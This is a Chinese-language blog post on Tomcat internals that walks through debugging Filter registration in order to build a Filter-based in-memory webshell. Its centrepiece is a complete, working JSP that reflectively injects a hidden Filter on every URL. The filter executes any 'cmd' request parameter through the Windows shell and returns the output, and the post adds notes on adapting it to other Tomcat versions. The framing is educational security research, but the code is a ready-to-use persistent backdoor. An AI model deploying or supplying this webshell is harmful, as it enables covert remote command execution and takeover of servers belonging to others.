Filter内存马

news/2024/11/29 16:46:40/文章来源:https://www.cnblogs.com/erosion2020/p/18577056

概述

最近感冒了,不想BB太多,直接开始调试吧,先写个Filter来调试

Filter代码

新建一个FilterShell类,代码如下:

一个类如果想要成为Filter则需要继承Filter,然后重写init、doFilter、destory这三个方法,分别表示了

  • init::Filter在初始化时被调用
  • doFilter:在Filter被命中时被调用
  • destory:在Filter生命周期结束时调用的资源释放方法

其实我们只需要调试init和doFilter方法,以及Filter被实例化的时候的逻辑就行

package org.example.memoryshell;import javax.servlet.*;
import java.io.IOException;// 如果不想在web.xml中配置,也可以使用这样的注解配置
// @WebFilter(filterName = "FilterShell", urlPatterns = {"/*"})
public class FilterShell implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("FilterShell init......");Filter.super.init(filterConfig);}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("FilterShell doFilter......");}@Overridepublic void destroy() {System.out.println("FilterShell destroy......");Filter.super.destroy();}
}

在web.xml中新增filter配置

<filter><filter-name>FilterShell</filter-name><filter-class>org.example.memoryshell.FilterShell</filter-class>
</filter>
<filter-mapping><filter-name>FilterShell</filter-name><url-pattern>/*</url-pattern>
</filter-mapping>

在Filter类的class、init、doFilter这三个地方打上断点,然后我们开始运行Debug。

image-20241129101412531

debug起来之后,先命中了class处的断点,这说明一定有一个地方在尝试创建这个Filter的实例或者说引用了这个Filter,我们追溯一下堆栈中的方法调用。

image-20241129103230177

可以发现这个entry其实就是来自filterDefs,通过debug窗口可以看到filterDefs其实就是一个HashMap,Map的key其实就是我们在web.xml中配置的那个filterName,其实这里还能发现这里还加载了一个叫Tomcat WebSocket (JSR356) Filter的Filter,看起来是Tomcat给websocket加了一个默认的filter,ok,不管它,我们接着调

image-20241129103542183

然后我们f9放开断点,他会命中init方法中的内容,分析init方法可以看到最终他是在ApplicationFilterConfig的initFilter方法中被命中的。

image-20241129104858112

这里需要考虑一个问题,就是项目在初始化的时候会加载web.xml,然后把filterDefs中填充我们的Filter类,然后他会自己解析filterDef创建出来ApplicationFilterConfig,然后再放到filterConfigs中,所以这里就有问题了,就是我们如果构造木马,肯定是没办法改web.xml配置啊,所以我们就需要考虑构造filterDef将其放到filterDefs中,然后还有就是需要再根据filterDef生成一个ApplicationFilterConfig,然后写入到filterConfigs中。

OK,接着进行调试,我们f9放开断点,让其继续往下走,最终会命中doFilter方法。

image-20241129142012953

然后我们跟踪堆栈信息,往上翻发现是ApplicationFilterChain这个地方调用了这里的doFilter方法,然后再往上看,可以找到StandardWrapperValve这个类中的invoke方法,我们点进去看一下。

image-20241129142251787

然后我们看一下这个ApplicationFilterFactory.createFilterChain这个方法中干了什么事儿

image-20241129142742272

从wrapper中去除了StandardContext上下文对象,然后把FilterMaps数据拿到,然后做了一个判断,如果符合这两个条件的话就从context中把filterConfig查出来,filterConfig其实就是Filter的实例,最后把filterConfig添加到filterChain这个调用链中。

  • matchDispatcher
    • filterMap:从context中取出的参数
    • dispatcher:从request.getAttribute(org.apache.catalina.core.DISPATCHER_TYPE)取出的数据,其实就是个枚举值

image-20241129143213797

所以,梳理一下debug过程中相关的数据结构:

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
  • ContextConfig:Web应用的上下文配置类
  • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

然后放一个大佬画的filter工作的流程图

filter_shellxx

Filter内存马代码

<%--Created by IntelliJ IDEA.User: 15137Date: 2024/11/29Time: 14:33To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%final String name = "y4tacker";ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);if (filterConfigs.get(name) == null){Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null){byte[] bytes = new byte[1024];Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}filterChain.doFilter(servletRequest,servletResponse);}@Overridepublic void destroy() {}};FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());standardContext.addFilterDef(filterDef);FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put(name,filterConfig);out.print("Inject Success !");}
%><html>
<head><title>Title</title>
</head>
<body></body>
</html>

这是网上大佬给的代码,我自己写的时候碰到一些问题,但是我发现他们写的也有一些问题,但是也有可能是我的用法不太对。

我经常遇到Tomcat启动时,没有加载我写的这个filter_shell_test.jsp,重新加载tomcat资源文件才加载到这个jsp脚本。

image-20241129162834114

我这里只调了9.0.97版本的tomcat,没有调其他版本的,但是我看其他大佬的帖子中写了关于不同版本tomcat的写法。

这里把大佬的备注直接放这里了。

这种注入filter内存马的方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3

  filterMap.setDispatcher(DispatcherType.REQUEST.name());

另外在tomcat不同版本需要通过不同的库引入FilterMap和FilterDef

<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
<!-- tomcat 8/9 -->
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef"  %>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/843508.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

探索 TypeScript 编程的利器:ts-morph 入门与实践

我们是袋鼠云数栈 UED 团队,致力于打造优秀的一站式数据中台产品。我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值。本文作者:贝儿背景 在开发 web IDE 中生成代码大纲的功能时, 发现自己对 TypeScript 的了解知之甚少,以至于针对该功能的实现没有明确的思…

RK3562J正式支持NPU,性价比再提升!

RK3562J是瑞芯微最新推出的一款超高性价比工业处理器,四核Cortex-A53@1.8GHz + Cortex-M0@200MHz异构多核架构,并支持十路UART、两路CAN、两路网口、三种显示、双路Camera等,外设接口资源十分丰富,是RK3568J处理器降成本、降功耗的首选平台,在工商业储能EMS、通讯管理机、…

Movie相关

IDA-VLM: Towards Movie Understanding via ID-Aware Large Vision-Language Model 故事:现在的LVLM只能处理单场景,跨场景中关联实体的能力不行。比如电影中同一个角色在不同场景中出现,现有的LVLM不能把相同角色合并。所以本文提出了一个benchmark衡量跨场景角色对齐能力,…

PHY6236超低成本低功耗蓝牙芯片智能灯控家居

超低成本SOC蓝牙芯片PHY6236PHY6236 是一款用于低功耗蓝牙和专有 2.4G 应用的片上系统 (SoC)。它具有高性能低功耗 32 位 RISC-V MCU,具有 8KB 保留 SRAM、80KB ROM、8KB OTP 和超低功耗、高性能、多模式无线电。此外,PHY6236 还可以支持具有安全性和应用的 BLE。串行外设 IO…

20222411 2024-2025-1 《网络与系统攻防技术》实验五实验报告

1.实验内容 1.1 实践内容 (1)从www.besti.edu.cn、baidu.com、sina.com.cn中选择一个DNS域名进行查询,获取如下信息:DNS注册人及联系方式、该域名对应IP地址、IP地址注册人及联系方式、IP地址所在国家、城市和具体地理位置 PS:使用whois、dig、nslookup、traceroute、以及…

如何通过精准管理,推动产品按时交付

作为产品经理,项目管理是一项必须具备的核心能力。无论是从产品规划、开发到最终交付,项目管理贯穿了整个产品生命周期,涉及团队协调、进度控制、资源分配、质量保障等多个方面。有效的项目管理不仅能帮助团队按时交付高质量的产品,还能提升效率、降低成本并确保客户满意。…

js和CSS3媒体查询制作简单的响应式导航菜单

这是一款使用纯js和css3媒体查询制作的简单的响应式导航菜单效果。该导航菜单类似bootstrap导航菜单,它通过media query制作760像素断点,当视口小于760像素时,菜单会收缩为隐藏的汉堡包菜单。在线演示 下载使用方法HTML结构 该导航菜单使用<nav>元素最为包裹容器,di…

hhdb数据库介绍(10-4)

实例管理 该功能用来查看和管理所有计算节点集群中存储节点所在实例的主从关系。实例信息可以通过主机名、端口号、和存储节点版本号进行筛选。 实例管理信息 功能入口: 登录管理用户界面->实例管理实例管理信息以一个存储节点为单位显示一条记录,可对具体的存储节点进行“…

PE文件结构解析 Part3 NT Headers

文章来源:https://0xrick.github.io/win-internals/pe4/ 目录简介NT Headers(IMAGE_NT_HEADERS)签名 SignatureFile Header(IMAGE_FILE_HEADER)Optional Header (IMAGE_OPTIONAL_HEADER)总结 简介 在前面的文章中,我们看过了DOS Header的结构以及逆向了DOS stub。 这篇文章我…

人员背夹佩戴识别智慧矿山一体机斜井人员进出识别:安防设备时间显示错乱原因及具体解决办法

在现代矿山行业中,安全和效率是两个核心议题。随着智能化技术的不断进步,智慧矿山的概念逐渐成为现实,特别是在非煤矿山的管理与运营中,智能化手段的应用已经成为提升安全性、效率和经济性的关键。本文将深入探讨人员背夹佩戴识别智慧矿山一体机在配电室无人巡检识别算法中…

windows下python批量更新软件包

前言 相信很多小伙伴都遇到过python有些软件包版本过低导致无法安装一些模块的问题,刚好我前两天也遇到了,这里写个文章记录一下 一、更新pip版本 打开命令控制面板,输入: python -m pip install --upgrade pip二、查看过期的软件包 pip list可以看到有很多已经过期的包也可…

配电室长期无人巡检识别智慧矿山一体机非煤矿山算法:配电室监控与安全管理

随着科技的进步和智能化技术的迅速发展,矿山行业正在经历一场深刻的变革。智慧矿山的概念应运而生,尤其是非煤矿山的管理与运营中,利用智能化手段提升安全性、效率和经济性已成为热门趋势。长期无人巡检作为智能矿山运营的重要组成部分,其应用不仅降低人力成本,还能实时监…